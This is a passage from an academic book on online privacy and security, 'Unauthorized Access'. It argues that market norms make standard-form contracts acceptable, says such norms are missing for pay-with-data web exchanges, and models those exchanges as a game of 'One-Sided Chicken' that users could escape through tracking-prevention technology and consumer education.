norm, we would have nothing left. If we try this in real markets, we may 
end up with some terms that are neither compatible nor incompatible. As
we noted earlier, applicable norms may not be value optimal, or we may 
just not have any relevant norms at all. The fewer applicable value opti­
mal norms there are, the more terms will remain in the contracts. Even 
if contracts contain a lot of terms for which there are no applicable value 
optimal norms, buyers won’t go without goods and services they need. 
They will still be willing to pay for—“demand” in our special sense of the 
term—the goods and services governed by such contracts. This means the 
result will be the opposite of what we want: not “buyers demand norm-
compatible terms” but rather “buyers do not demand norm-compatible
terms.” We need enough value optimal norms to avoid this result. 
We assume that we have them. We assume that the markets we are con­
sidering approximate contractual norm completeness sufficiently closely
that we have enough value optimal norms. This assumption is legitimate,
since our goal is only to show that  if real markets sufficiently approxi­
mate perfect competition, then the norm will arise.* As we did in the ideal 
market case, we divide the rest of the argument into a “buyer” part and a 
“seller” part. 
Buyers 
When we discussed ideal markets, the perfect information assumption
guaranteed that every buyer could spot the incompatible terms in any and 
* 	 This point about the “if, then” nature of our argument comes up a few more times in what fol­
lows. In this particular case, it is worth noting that many markets do fairly closely approximate
contractual norm completeness. Sellers have used standard-form contracts for over a century, and 
it is reasonable to think that years and years of interaction have yielded a rich collection of value 
optimal norms. 
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every contract. How can we approximate this condition in real markets?
As we have emphasized, very few buyers in real markets read standard-
form contracts, and most would not understand them if they did. 
Our answer begins by noting that some buyers do read and understand.
Professional buyers purchasing for businesses and organizations read to
the extent that what they buy depends on contractual terms as well as on
price and quality. In addition, those who read contracts can inform those 
who do not. Buyers can learn of terms that violate norms from consumer 
advocates and organizations, publications like Consumer Reports, and
negative publicity arising from consumer complaints and litigation. Sellers 
themselves are another source of information. If United Airlines offers air 
travel on terms incompatible with relevant norms (excessive charges for 
baggage, for example), Southwest Airlines may call this to buyers’ atten­
tion in their advertisements. We will show that these informed buyers
will buy from norm-compatible sellers. One crucial question is how many
informed buyers there are. We address that question later. 
We begin by noting that buyers prefer to buy from sellers offering 
terms compatible with value optimal norms. In ideal markets, perfect 
information entailed that buyers knew which sellers offered compatible 
terms. Since we were assuming perfect information, it made sense to 
build that knowledge into the definition of perfect information. But we
don’t really need buyers to know perfectly which sellers offer norm-com­
patible terms. We just need buyers to find out eventually when sellers do
not. Buyers will prefer to buy from the rest, the norm-compatible sellers.
Buyers’ detection of norm-compatible sellers will be imperfect, so “the
rest” will also include some norm-incompatible sellers. The better detec­
tion is, the fewer norm-incompatible sellers will escape detection. We will
assume very few. It is proper for us to do so since, as we noted earlier, our
goal is just to show that the norm will arise if real markets sufficiently 
approximate perfect competition. 
Preferring to buy from norm-compatible sellers is one thing; actu­
ally doing it is another. Everything else being equal, you might prefer to
buy from Jones over Sam, but things aren’t equal. Jones is in New York, 
and Sam is in California where you are, so you buy from Sam. The zero
transactions cost assumption eliminates all such difficulties in the ideal  
case, and thereby guarantees that buyers can translate their preference for 
norm-compatible sellers into reality. As part of our assumption of a suffi­
ciently competitive market, we assume that transaction costs are low; they
do not prevent most buyers from switching sellers. We note in passing that
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the assumption is plausible for a number of markets. The costs involved in
switching from one Amazon Marketplace seller to another are not par­
ticularly great, for example. In addition, search and evaluation costs are 
relatively low—especially now that Internet searches offer very low-cost
product identification and comparison and many shopping sites feature 
product reviews. 
We have reached the conclusion we reached in the ideal case: Informed 
buyers will switch to norm-compatible sellers—if such sellers exist. 
Sellers 
They will exist. To explain why, we begin by noting that sellers know that
buyers prefer to buy from sellers offering norm-compatible terms. In the 
ideal case, we made this knowledge part of perfect information, but even 
in real markets, most sellers will know this. Norm-incompatible terms 
violate buyers’ values, and it is just common sense that people prefer to
deal with those who do not violate their values (everything else being 
equal). Most sellers will know that. We also built it into the ideal case that
sellers know that buyers know, for each term in a contract, whether it is
norm compatible. In real markets, most sellers will know that some buy­
ers know when contracts have norm-incompatible terms. They will realize 
the facts we noted above: Some buyers read and understand contracts, and 
consumer advocates alert buyers to adverse contractual terms, as do sell­
ers’ competitors. So sellers will realize that some buyers will detect norm-
incompatible terms in sellers’ contracts and will prefer not to buy from
those sellers. We assume that barriers to entry and exit are low enough
that most sellers can alter their contracts (and, if necessary, their prod­
ucts and services) to offer terms compatible with all relevant value optimal 
norms. But will they? 
It seems the “real markets” argument is in trouble. When we got to this
point in the ideal markets case, we could conclude sellers would realize 
that every buyer would detect sellers’ norm-incompatible terms and would 
prefer not to buy from those sellers. Since those sellers would be unable to
sell at all, the profit-maximizing strategy was to offer norm-compatible 
terms. In real markets, we can get to almost the same result as long as
there are enough buyers who detect whether contract terms violate norms 
that any gains sellers may get from offering norm-incompatible terms are 
more than offset by lost sales to those buyers. In real markets, however,
only some buyers detect norm-incompatible terms, and there will not
always be enough of these buyers. 
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Our solution is to define our way out of this problem. Our basic claim is
that the norm will arise in a sufficiently competitive market, and we make 
it part of the definition of a sufficiently competitive market that enough
buyers detect norm-incompatible terms. This may look like cheating, but 
it is not. We are saying that if a real market gets close enough to a perfectly 
competitive market, the norm will arise. Our argument reveals that the 
definition of “close enough” has to include having enough norm-detecting 
buyers, and this provides practical guidance to policy makers. To make 
sure the second-order, term-compatibility norm arises and continues to
exist, you must ensure that there are enough norm-incompatibility detect­
ing buyers. 
At this point, in the ideal case, we concluded that profit-motive-driven
sellers would include only norm-compatible terms since buyers will not
otherwise buy from them. Can we similarly conclude that, when real mar­
kets sufficiently closely approximate the ideal, that most sellers will include 
(at least mostly) norm-compatible terms in their contracts? Not quite. If
sellers could reliably discriminate between buyers who will and who will
not detect a norm incompatibility, then sellers could offer norm-com­
patible terms to the incompatibility detectors and more seller-favorable, 
norm-incompatible terms to the rest. Mass-market sellers cannot reliably 
discriminate in this way, however. When you walk into a retail store or 
order an item over the phone or online, nothing reliably signals the seller 
whether or not you will detect norm-incompatible terms.* So, to the extent
that real markets sufficiently closely approximate the ideal, most sellers’
contracts will contain (mostly) norm-compatible terms. 
The result is not just a norm, but rather a coordination norm. The
required regularity exists: Buyers demand contractual terms compatible
with relevant value optimal norms. Buyers think they ought to conform, 
and they do so because, at least in part, norm-incompatible terms conflict 
with their values. The “ought” is, however, a conditional “ought,” as the  
definition of a coordination norm requires, unlike the ideal markets case. 
The “ought” in that case was not conditional because sellers would meet 
even a single buyer’s demand. In real markets, however, mass-market sell­
ers will not meet idiosyncratic demands; they respond only to demand
that is sufficiently unified. So, as long as going without the service or prod­
uct is not an acceptable option, a buyer thinks he or she ought to conform 
* 	 Unless you try to negotiate. If you detect a norm-incompatible term and object to it, you reveal
yourself as an incompatibility detector. We are focusing on the no-negotiation cases. 
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only as long as almost all others do. If almost all others demanded differ­
ent terms, the buyer would conform to that demand. 
How Contracting Can Go Wrong 
The second-order, norm-compatibility norm emerges in any market that
sufficiently closely approximates the ideals of perfect competition and 
contractual norm completeness. As long as the first-order norms are value
optimal, the second-order norm ensures free and informed consent to
standard-form contracts, even though we do not read them and would  
not fully understand them if we did. But what happens when markets fall
far short of contractual norm completeness because there aren’t enough
value optimal norms? The system breaks down, and we are left without 
any effective way to give our free and informed consent. 
Contractual norm completeness can fail in two ways: Existing norms 
may be suboptimal, or certain situations may not be governed by relevant
norms at all. We offered examples of both types of failures in earlier chap­
ters. In the remainder of this chapter and the next chapter, we concen­
trate on what happens when there are no norms. We return to suboptimal
norms at the end of the next chapter. Lack of relevant norms is character­
istic of pay-with-data exchanges. 
THE LACK OF CONSENT TO PAY-WITH-DATA EXCHANGES 
The norms we need but do not have for pay-with-data exchanges are 
informational norms—specifically the norm that consumers demand
that businesses process information only in role-appropriate ways that we
discussed in Chapters 3 and 4. Recall that this is a coordination norm: 
a behavioral regularity that exists in part because people believe that, in 
order to realize a shared interest, they ought conditionally to conform to
the regularity. No such norms exist for pay-with-data exchanges because 
we lack widely shared notions of role-appropriate information processing
for such exchanges. 
An analogy from the late 1800s shows why. Once Alexander Graham
Bell’s patent on the telephone ran out, telephones started being fairly 
widely installed in private homes, but nobody knew just how to behave
in using the phone. Should one say, “Hello?” or “Yes?” or even “Ahoy!” (as 
Bell suggested) when answering a phone? Who should be called? An 1897 
article complained of people calling Chauncey Depew, then president of
the New York Central & Hudson River Railroad, and shortly thereafter a 
US senator: 
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Every time they see anything about him in the newspapers, and 
tell him what a “fine letter he wrote” or “what a lovely speech he
made,” or ask if this or that report is true; and all this from people
who, if they came to his office, would probably never say more than
“Good morning.”19 
But how could people have known just how to behave on the telephone
in 1897? They lacked shared conceptions of role-appropriate behavior as
telephone users. As people continued to use telephones, those conceptions
and the associated coordination norms developed, but they did not exist at
first. They arose over time out of repeated interactions. 
We are in a similar situation with pay-with-data exchanges. The newly 
acquired power is the vastly increased ability to process information, 
and we lack relevant shared conceptions of role appropriateness. They
will only evolve over time through patterns of social and commercial
interaction. Instead of shared conceptions of appropriateness, we have
the intense controversy that surrounds behavioral advertising. Several 
surveys (typically conducted by privacy advocates) report strong and 
widespread disapproval of behavioral advertising and the intense infor­
mation processing that supports it. Other surveys (typically conducted by
those who have a stake in behavioral advertising) present a more mixed 
picture. They still report significant consumer concern over behavioral
advertising, but they also indicate a greater willingness to accept behav­
ioral advertising under various conditions and constraints. Any adequate 
response to behavioral advertising must find a proper balance between 
protecting privacy and the economic gains of permitting the informa­
tion processing; as James Rule notes, “We cannot hope to answer [com­
plex balancing questions] until we have a way of ascribing weights to the 
things being balanced. And, that is exactly where the parties to privacy 
debates are most dramatically at odds.”20 We lack shared conceptions of
role-appropriate information processing in many cases, in particular in
pay-with-data exchanges. 
When we take value optimal, first-order norms away from standard
form contracting, we lose the background that ensures acceptable terms 
to which we give free and informed consent. Standard form contracting
becomes mere notice and choice that businesses may exploit to impose
whatever terms they want on us. The British retailer, Game Station,
illustrated the potential to impose arbitrary terms by including the fol­
lowing clause in its terms-of-use contract on April 1, 2011: “By placing
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an order…, you agree to grant Us a non-transferable option to claim… 
your immortal soul.”21 Customers could opt out of the license by click­
ing on a link included in the clause. Only a few did. The April Fool’s 
joke illustrates a genuine problem: Sellers do use contracts to impose on 
us information processing practices that significantly reduce our infor­
mational privacy. 
The solution is to create the first-order, value optimal informational 
norms that we need. We will show how to do so in the next chapter. 
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Today’s pay-with-data exchanges deprive web users of control. Creating 
appropriate value optimal norms would transform these transactions 
into control-enhancing agreements people use to give free and informed 
consent to acceptable terms. So the critical question is how to create the
norms. We recommend rebellion. Web users should (at least threaten
to) use the technological power they have to prevent the data collection
needed for behavioral advertising. For convenience, we will again call web 
users “buyers” and the website owners “sellers”—even when no money is
exchanged. We begin by explaining why we think the key is for buyers 
to use their technological power. We do so by describing pay-with-data 
exchanges as a game of Chicken that buyers play repeatedly with sellers 
under conditions that guarantee buyers always lose. The “real” game of  
Chicken is traditionally played with cars. Two drivers at opposite ends of a 
road drive toward each other at high speed. The first to swerve loses. Buyers
play a similar game with sellers—with one crucial difference: Buyers know
in advance that sellers will never “swerve.” Before we look at that game, we
need to look more at the “real” game of Chicken. 
CHICKEN WITH CARS 
Chicken, played with cars, first appeared in the famous 1955 James Dean
 
movie Rebel without a Cause, where it was referred to as “Chickie Run.” 
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 Phoebe Swerves Phoebe Doesn’t Swerve 
Game of Chicken is a tie Phil Swerves 
(“Mutual cowardice”).
Phil wins the game of
Chicken. Best possible
outcome for Phil. 
Phil Doesn’t Swerve 
Phoebe wins the game of
Chicken. Best possible 
outcome for Phoebe. 
Collision of the two cars! 
Worst possible outcome for
both players; presumably
much worse than any other 
outcome. 
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FIGURE 12.1 Summary of (ordinary) game of Chicken. 
Jim Stark (James Dean) and Buzz both race toward a cliff edge; the first 
to jump out loses. The “race toward each other” version appeared in later
B-movies and is the version we will describe in more detail. 
Phil and Phoebe face each other in their cars, about to play Chicken. 
Phil’s first choice is that Phoebe swerve first. His second choice is that
they swerve simultaneously. Mutual cowardice is better than a collision 
and so is unilateral cowardice, so for Phil third place goes to swerving 
before Phoebe does. Collision ranks last among Phil’s preferences. What
Phil does, however, does not depend just on this ranking. It also depends
on what he thinks Phoebe will do. In the typical case, Phoebe’s preferences
mirror Phil’s. Her first choice is that Phil swerve first, and so on. Even 
if Phil knows this, he still does not know what Phoebe will do because  
that depends on what she thinks he will do. Chicken is a game of nerves.
Phil and Phoebe each speed toward one other, each hoping the other will
swerve. The game of Chicken is summarized in Figure 12.1. 
Change the game a bit, and we have the version of Chicken buyers 
play in pay-with-data exchanges, which we will call One-Sided Chicken.
Phil’s preferences stay the same, but Phoebe’s change, as we illustrate in
Figure 12.2. 
Phoebe still prefers that Phil swerve first, but for Phoebe collision moves 
into second place. It does not matter why, but the B-movie scenario would 
be that Phoebe was recently jilted by her lover. As a result, her first choice 
is to make her male opponent reveal his cowardice by swerving first, but 
her second choice is a collision that will kill him and her broken-hearted 

















 Phoebe Swerves Phoebe Doesn’t Swerve 
For Phil, a tie that is his 
second choice. For Phil Swerves 
Phoebe, worse than 
collision. 
Phil wins the game of
Chicken. Best possible
Phil Doesn’t Swerve outcome for Phil. For 
Phoebe, worse than 
collision. 
Phoebe wins the game of
Chicken. Best possible
outcome for Phoebe. 
Collision of the two cars! 
In this odd game, this is
Phoebe’s second-best 
outcome, but is still the 
worst outcome by far
for Phil. 
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FIGURE 12.2 One-Sided Chicken. 
self. Given these preferences, Phoebe will never swerve. This makes her 
third and fourth preferences irrelevant, but we give them to round out the 
picture. Third is that they both swerve (mutual cowardice), and fourth
that she swerve first (unilateral cowardice). Phil knows of Phoebe’s heart­
break and Phoebe’s preferences, so he knows he has only two options: he
swerves and she does not or neither swerves. Since he prefers the first of
these, he will swerve. Buyers play this game of One-Sided Chicken when
they enter pay-with-data exchanges. 
THE PAY-WITH-DATA GAME OF ONE-SIDED CHICKEN 
In the pay-with-data version of One-Sided Chicken, the choices are not
“swerve” and “don’t swerve.” We will describe them as “give in” (the  
“swerve” equivalent) and “demand” (the “don’t swerve” equivalent). The
meanings of “give in” and “demand” differ a bit for buyers and sellers. For
a buyer, “demand” means refusing to use the website unless the seller’s
data-use practices conform to the buyer’s privacy preferences. “Give in” 
means permitting the seller to use data in accord with whatever infor­
mation processing policy it wishes even if that policy conflicts with the  
buyer’s preferences. For sellers, “demand” means refusing to alter their 
information processing practices even when they conflict with a buyer’s 
preferences. “Give in” means pursuing an information processing policy
consistent with a buyer’s preferences. 
We describe each of buyers’ and sellers’ preferences and then show that
they combine to create a game of One-Sided Chicken. 
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Buyers’ Preferences 
Buyers’ preferences parallel Phil’s. A buyer’s first choice is to demand and 
to have the seller give in—[demand, give in], for short. We will use this
short form throughout, and will always understand the order to be [buyer
action, seller action]. [Demand, give in] ranks first for buyers because it
means that the buyer is sure to get information processing consistent with
his or her preferences. The buyer’s second choice is [give in, give in], mean­
ing that the buyer gets information processing consistent with his or her 
preferences, although the buyer would have continued using the website 
regardless of the information processing. This gets second place behind
[demand, give in] because a [demand, give in] buyer gets two things: 
preference-conforming information processing and a certain attitude—“I 
insist on conformity to my standards.” The [give in, give in] buyer doesn’t 
get to insist. Instead, the attitude is “I will use the site even if you process
information in ways inconsistent with my preferences”; it just happens 
that the seller gives in too, so the buyer’s information is, in fact, processed 
as the buyer wishes. 
Now one minor complication: despite what we have just said, [give 
in, give in] could tie with [demand, give in] for first place. Many buyers 
may be happy just to have their information processed according to their 
wishes. A tie between these two preferences does not affect our argument. 
Now we turn to the remaining two options: [give in, demand] and 
[demand, demand]. Both of these options rank below both the first two 
options where the seller gives in, because only those first two options give
the buyer the combination of information processing consistent with his 
or her preferences and use of the website. Buyers prefer [give in, demand] 
to [demand, demand] because the latter means the buyer doesn’t get to
use the site. Buyers’ behavior—entering billions of pay-with-data transac­
tions daily with sellers who participate in the advertising ecosystem and 
give buyers no control over information processing—shows that buyers
prefer to permit the information processing rather than forgo use of a 
website. As the Harris Poll said in announcing polling results on privacy 
attitudes, “[M]ost people are ‘privacy pragmatists’ who, while concerned 
about privacy, will sometimes trade it off for other benefits.”1 In summary,
we have in descending order: 
a. [Demand, give in] preferred to or tied with 
b. [Give in, give in] preferred to 
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c. [Give in, demand] preferred to
 d. [Demand, demand] 
In constructing this picture of buyers’ preferences, we have assumed 
that buyers are aware that sellers participate in the advertising ecosystem. 
But what about buyers who are unaware of the advertising ecosystem and 
the information processing involved? We assume their preferences do not
differ greatly from the buyers who are aware of the information process­
ing, and hence that if they realized the extent of the online advertising
ecosystem, most of them would probably join the ranks of the majority
of buyers and continue to enter pay-with-data transactions. In this sense,
we can say they prefer to acquiesce in the current information processing 
practices. Essentially the same point holds for buyers who (incorrectly) 
think that “do not track” technologies curtail data collection. 
Current cookie blocking and other antitracking technologies are 
remarkably ineffective unless the user devotes a great amount of time and 
attention to their use.2 Buyers who mistakenly believe that they are block­
ing data collection mistakenly believe that they are imposing their privacy 
preferences on sellers. We assume that if they realized their mistake, most
of them would still enter pay-with-data transactions. 
Sellers’ Preferences 
Sellers’ preferences parallel those of “collision second” Phoebe. First place 
goes to [give in, demand] since that means that the buyers permit what­
ever information processing the seller desires. [Demand, demand] occu­
pies second place. Like “collision second” Phoebe, sellers do not “swerve.” 
This may seem implausible. After all, they lose money when they refuse to
accommodate the privacy preferences of “demanders,” as we will call buy­
ers who “demand.” The answer is that the refusal to meet demanders’ pref­
erences is built into sellers’ information processing practices. Advertising
is tailored to individual interests, but  information processing is not. The
processing involves standardized, automated routines designed to meet 
marketing objectives, not to conform to buyers’ varying privacy prefer­
ences. But this just pushes the question back one step. 
Why build in a refusal to conform to demanders’ preferences? A plau­
sible explanation is that it is more profitable for businesses to ignore the
relatively few demanders rather than to adjust their information process­
ing to the demanders’ individual preferences. A seller plays many—often 



















308  ◾ Unauthorized Access: The Crisis in Online Privacy and Security 
many millions—of games with buyers a day—day in and day out. During 
any span of time, enough buyers will give in—enough to make one-size­
fits-all behavioral advertising the profit-maximizing strategy. So in any 
particular game of Chicken, the seller’s preference ranking is [give in, 
demand] and then [demand, demand].* 
One-Sided Chicken 
Combine buyers’ and sellers’ preferences, and you get a game of One-Sided 
Chicken. This is not to claim that all buyers realize the situation they are 
in. As we noted earlier, some buyers assume that sellers’ information pro­
cessing is more or less in line with their privacy preferences. Those buyers
give in without realizing it; they unknowingly acquiesce to information 
processing that is almost certainly inconsistent with their preferences.
Buyers who do realize the situation they are in have just two options: [give 
in, demand] and [demand, demand]. Buyers prefer the first to the second, 
so they always give in. 
Escaping One-Sided Chicken 
The problem is not just to find a way out of One-Sided Chicken; the task
is to find a way out that leads to value optimal norms. The first step in
the escape route we describe is to change sellers’ preferences. To see the
idea, recall Phil and Phoebe. Phil would like Phoebe to swerve when he
does. This will not happen unless he can change her preferences. In the
standard 1950s or 1960s B-grade movie, Phil would introduce Phoebe
to just-moved-to-town Tony. Phoebe and Tony would fall in love, and,
in a key dramatic turning point, Phil and Phoebe would play Chicken.
Phoebe would suddenly see that Tony is also in Phil’s car and would  
swerve. We need a “Tony” to change businesses’ preferences. We next
explain how to achieve this result under conditions of perfect competi­
tion, which allows us to make strong assumptions concerning buyers’
and sellers’ perfect knowledge. To explain how to realize the norms in
real markets, we then show how to weaken those assumptions and still
achieve the same result. 
* 	 We doubt that sellers have any clear preference between [give in, give in] and [demand, give in].
Both mean pursing information processing policy consistent with a buyer’s preferences, and both
options are irrelevant to what sellers choose to do. Buyers will either “demand” or “give in,” and in
either case, sellers will opt for “demand.” 














NORM CREATION IN PERFECTLY COMPETITIVE MARKETS 
Imagine that buyers and sellers start out playing One-Sided Chicken. We
will show that, if we add certain conditions to the perfect knowledge con­
dition, we escape from One-Sided Chicken to value optimal norms. The
argument parallels the similar arguments we have given in earlier chap­
ters, though now we are concerned with the generation of a new norm
where none exists, rather than with replacing existing norms. We make 
the usual observation that we may assume we are discussing the market for 
one particular kind of product or service where pay-with-data exchanges 
now prevail: the provision of free e-mail accounts, or medical informa­
tion, or dictionary services, or what have you. 
We begin with buyers and what they know. We assume the existence of
a value optimal trade-off between the benefits of information processing 
and informational privacy.* As part of the perfect knowledge assumption, 
we assume buyers know the trade-off. We also assume buyers know which
sellers implement that trade-off. Buyers will prefer to buy from sellers that
implement that trade-off since the failure to do so is inconsistent with buy­
ers’ values. Since transaction costs are zero, buyers will in fact buy from
such sellers, as long as such sellers exist. Those sellers will exist. As with
the similar arguments before, offering that trade-off in a perfectly com­
petitive market is the profit-maximizing strategy, and because of perfect 
information, sellers will know that it is the profit-maximizing strategy. 
The consequence is that the behavioral regularity “buyers demand the 
value optimal trade-off” becomes a norm. As was the case at this point in
the similar arguments in Chapters 7 and 11, the norm in this ideal market 
case is not a coordination norm. But, as before, a coordination norm will
arise in real markets as long as those markets approximate perfect compe­
tition sufficiently closely. As in Chapter 11, our argument is conditional:
if close enough approximation, then the norm. However, if the argument
is to be more than a theoretical curiosity, pay-with-data exchanges must 
fairly closely approximate perfect competition or at least be capable of
doing so. We briefly survey the issues here. 
Approximation to Perfect Competition in Pay-with-Data Exchanges 
In real markets, there may be significant barriers to entry, as both Facebook 
and Google illustrate. A very large investment would be needed to start a 
* 	 We need the assumption because conflicts do not have to have a value optimal solution; sometimes 
there are just hard choices among alternatives, none of which is value optimal. 
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social network site of Facebook’s size and scale, or a search engine to rival 
Google. Transaction costs may also be large. Ironically, the company that
has been thwarted by transaction costs and barriers to entry in the social
network business is Google. If you have developed an extensive network 
of Facebook friends, the cost of switching to Google’s rival social network,
Google+, is the time and effort of notifying your network and convincing 
enough of them to switch with you. This cost can easily be large enough
to be prohibitive. Similarly, the cost of switching from Google’s Gmail to
another e-mail provider depends on how extensively you use the service; 
if your use is extensive, the cost may significantly discourage switching. In
the search engine arena it would seem that the costs to a user of trying a 
new search engine should be quite low. Nevertheless, there are evidently 
very significant barriers to entry, since Microsoft has spent a small fortune 
trying to build up its Bing search engine’s market share against Google’s
search engine, to relatively little avail.3 
The question is how significant the barriers and transaction costs are. 
Does the size of a start-up investment constitute a significant barrier to
competitors’ entering or leaving a market? Does switching costs signifi­
cantly discourage consumers from switching from one provider of a prod­
uct or service to another? The answer is “sometimes.” In many cases, the 
rise of the Internet has significantly reduced both barriers to entry and 
transaction costs. Websites, and now cloud computing, have significantly 
lowered the business costs of marketing and transacting with a wide 
range of geographically dispersed customers. Cloud computing offers 
access to powerful business analytics that start-ups and small businesses
could not otherwise afford, and Google’s AdSense program and advertis­
ing on social networks such as Facebook offer relatively inexpensive but 
effective advertising because they are highly targeted. On the consumer
side, Facebook and other social networks supplement traditional search 
engines as ways for consumers to cheaply find, compare, and purchase a 
variety of offerings. 
Similar remarks hold for market power, the power to control prices.
In the pay-with-data website advertising market, the price in question is
the fee—if any—of the offered product or service together with the way
the site collects and processes consumer information. Websites often lack 
significant market power because extensive competition is common. The
travel website Orbitz, for example, faces significant competition from
Kayak, Travelocity, Priceline, Expedia, and a host of others. Similarly,
the dictionary site Dictionary.com has a large number of competitors in
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the market for reference website visits that turn into advertising revenue 
including, among many others, dictionaryreference.com, thefreediction­
ary.com, meriamwebster.com, and answers.com. Consumers can easily
switch from one site to another, so the power to control prices is limited. 
In some cases, however, sites do have significant market power. Facebook 
is a case in point. Facebook operates in two markets—one for advertisers,
one for consumers. It is the former that is our concern. (On the consumer 
side, the monetary price is free, and we will consider the way the consum­
ers’ data are used a little later.) Facebook is a huge player in advertising: 
it earned $1.86 billion in advertising revenue in 2010 and an astonishing 
$3.15 billion in 2011.4 However, Facebook’s power to control the price it
charges for advertising is limited because it competes for advertising rev­
enue against other advertising channels, such as TV, magazines and news­
papers, and direct marketing via both paper mail and e-mail. 
Facebook’s revenue-generating ability, however, does not depend just
on its ability to control price; it also depends on how it presents advertise­
ments. Facebook advertising blurs the line between what friends and social
acquaintances may appropriately know about you and what advertisers 
may know. The effectiveness of such advertising compels any competitor
wishing to challenge Facebook to adopt a similar approach to advertising. 
Google’s mid-2011 launch of its social networking site, Google+, bears this
out. Google has adopted Facebook’s “line blurring” advertising.5 Whether
Google can significantly challenge Facebook’s dominance remains to be 
seen. The early results for Google+ are not encouraging. 
Similar remarks hold for Google’s dominance of the search engine 
market. Google dominates with 66 percent of the market share with the 
next largest market share being Bing’s 16 percent.6 Google’s dominance
ensures it significant revenue from its AdSense program, which auto­
matically presents text- and media-rich targeted advertisements to visi­
tors to Google’s sites. In the second quarter of 2012, according to Google’s
investor relations website, “Google Network Revenues”—which is to say 
AdSense revenues—were $2.98 billion ($11.92 billion annualized) or 27
percent of Google’s total revenue. Google’s power to set prices for the use 
of AdSense is limited because, like Facebook, it competes for advertising 
revenue against a variety of other traditional and Internet advertising 
channels. However, again like Facebook, it has significant power to control 
the way it presents advertising. The effectiveness of AdSense advertising 
compels any competitor that wishes to challenge Google to adopt a similar 
approach to advertising; indeed, Yahoo has adopted a similar approach.7 
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We acknowledge the existence of significant transaction costs and 
market power in some cases, but, for our “real markets” norm-generation 
argument, we assume that the pay-with-data market sufficiently closely 
approximates the conditions of lack of barriers to entry, zero transac­
tion costs, and lack of market power. Although Google and Facebook are
each huge players whose size cannot be ignored, there are many players 
in most of the roles in the online advertising ecosystem, so the assump­
tion is not outrageous. Moreover, considering those noninformational
aspects of perfect markets requires analysis in the context of competition 
and antitrust law, which is outside the scope of this book. However, even 
if we assume lots of competition, the issue of perfect information remains.
Our norm-generation argument in the perfect market case rests on strong 
assumptions about what buyers and sellers know. How do we adapt those 
assumptions to fit real markets? 
Approximation to Perfect Information in the Real World 
In our “perfect markets” argument, we assumed that buyers knew whether 
an online seller’s information processing practices implemented a value 
optimal trade-off. We also assumed that sellers knew buyers would switch 
to sellers who implemented the trade-off. None of this is true in practice. 
Society does not yet agree on what trade-offs are best justified. Reaching 
agreement on this is not like finding buried treasure. The treasure is there 
whether anyone finds it or not, but the answers needed about value opti­
mal trade-offs are not similarly buried in existing values just waiting for 
someone to think long enough and hard enough to find them. We need to
invent them. Values are not closed, complete, consistent systems that guide 
us through the decisions we must make. They are more or less detailed 
outlines that may leave large areas barely filled in, and they often incorpo­
rate competing, or outright inconsistent, claims and views, whose weight
is not fixed in advance of our reasoning about the situations in which we
find ourselves. We often need to extend our values to cover new situations, 
and rapid advances in information processing technology require us to do
so now for website advertising. How do we overcome the relevant knowl­
edge problems to approximate in real markets the norm-creation process
we outlined for perfectly competitive markets? We describe a norm-gen­
eration process that will lead to this result. 
Our norm-generation process is grounded in recent technological devel­
opments and consumer education initiatives. The technology consists of
approaches to tracking prevention, approaches that, to some degree and in
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some way, prevent or constrain website information processing for adver­
tising purposes. Our norm-generation model assumes that close to perfect
tracking-prevention technologies exist and are possessed by all buyers. 
Tracking-prevention technologies are perfect when they are completely 
effective in blocking, completely transparent in their effect, effortless to
use, and permit the full use of the site. As we noted earlier, current track-
ing-prevention technologies are far from perfect. We discuss the prospects 
for creating effective tracking-prevention technologies later. 
In addition to technology, we also require education. The Federal Trade
Commission’s efforts illustrate the type of educational initiatives we have
in mind. Since the rise of e-commerce in 1995, “the Commission has 
conducted a series of public workshops and has issued reports focusing 
on online data collection practices, industry’s self-regulatory efforts, and
technological efforts to enhance consumer privacy.”8 
NORM CREATION IN THE REAL MARKET 
Now we will explain in some detail how, given blocking technology, the 
needed new norm will be created in the actual market, rather than in a 
hypothetical perfect market. We begin with a summary of our argument. 
When the blocking technologies exist, buyers will use them; this will lead 
to a dramatic decline in advertising revenue for sellers, and sellers will
respond by offering buyers information processing consistent with their 
preferences. The ultimate result will be a collection of value optimal norms 
governing pay-with-data transactions. 
Buyers Will Use Blocking Technologies 
As we noted in Chapter 5, the vast majority of buyers want more con­
trol over their information than current information processing practices 
allow. We assume the desire for control is so strong that buyers will block
tracking if they have close to perfect tracking-prevention technologies— 
technologies that are effective, easy to use, and still allow buyers to use the 
site as they wish. We have two reasons for this assumption. 
First, we think it may be true—in spite of evidence to the contrary. 
The contrary evidence is that people do not use current, readily available
blocking and related technologies—for example, AdBlock, Ghostery, and 
TrackMeNot, which are all available for a variety of browsers. Similarly,
people do not drill into their browsers’ settings and tell their browser to
reject third-party cookies. The explanation is that current technologies are
far from “close to perfect technologies.” They can be difficult to use, fail to
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block tracking in some or even many cases, and when they do work, they
may interfere with the use of the site on which they are blocking tracking. 
It is also difficult to understand which tool does what. How many people
know that the relatively popular AdBlock, used by 1 or 2 percent of web 
surfers, does prevent web browsers from displaying most ads, but does
nothing to stop the tracking of web surfing? 
In addition, many people are unaware of the constant, intensive surveil­
lance that supports online behavioral advertising. Therefore, they see no
need to use blocking technologies and indeed may not even realize such
technologies exist. If this is the explanation for the lack of use, then it is
reasonable to expect well informed buyers to use close to perfect tracking-
prevention technologies—if and when they become available. 
Our second reason for assuming people will block tracking is that, even 
if we are wrong, and it is not true now, we could make it true by educating
and informing buyers once close to perfect tracking-prevention technolo­
gies exist. We discuss this point in more detail later. 
Advertising Revenue Will Decline 
If buyers use close to perfect tracking-prevention technologies, advertising 
revenue will decline. Perfect tracking-prevention technologies will turn
buyers into the pay-with-data exchange equivalent of Phoebe’s beloved
Tony. Phoebe swerves because she does not want to lose her beloved Tony. 
Sellers are in love with advertising revenue. We argue that they will “swerve”
to avoid losing the revenue. Sellers’ advertising revenue is a function of the
number of advertisements on their sites and the number of responses to
them. A website’s attractiveness as an advertising platform depends on
the effectiveness of advertisements on that site. In the online advertising
ecosystem, effectiveness is a function of the quantity and accuracy of the
information about buyers collected from the site. When all buyers block 
the collection of such information, the effectiveness of advertisements  
declines, and sites lose a good deal of their attractiveness as advertising 
platforms. Advertisers are more likely to spend their advertising budgets 
elsewhere—on TV, radio, and print publication advertisements. 
Sellers Will Conform More Closely to Buyers’ Preferences 
Sellers will respond by offering information processing more consistent
with buyers’ preferences. They will, that is, if they can segment buyers 
into large enough groups of shared privacy preferences. Groups are large 
enough when the expected profit from meeting the groups’ preferences 
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is greater than the cost of doing so. We fully expect buyers to cluster into
such groups. Even if they do not initially, sellers will be able to form such
groups through advertising. Advertising really can powerfully shape buy­
ers’ demands. One excellent example has been the remarkable success of
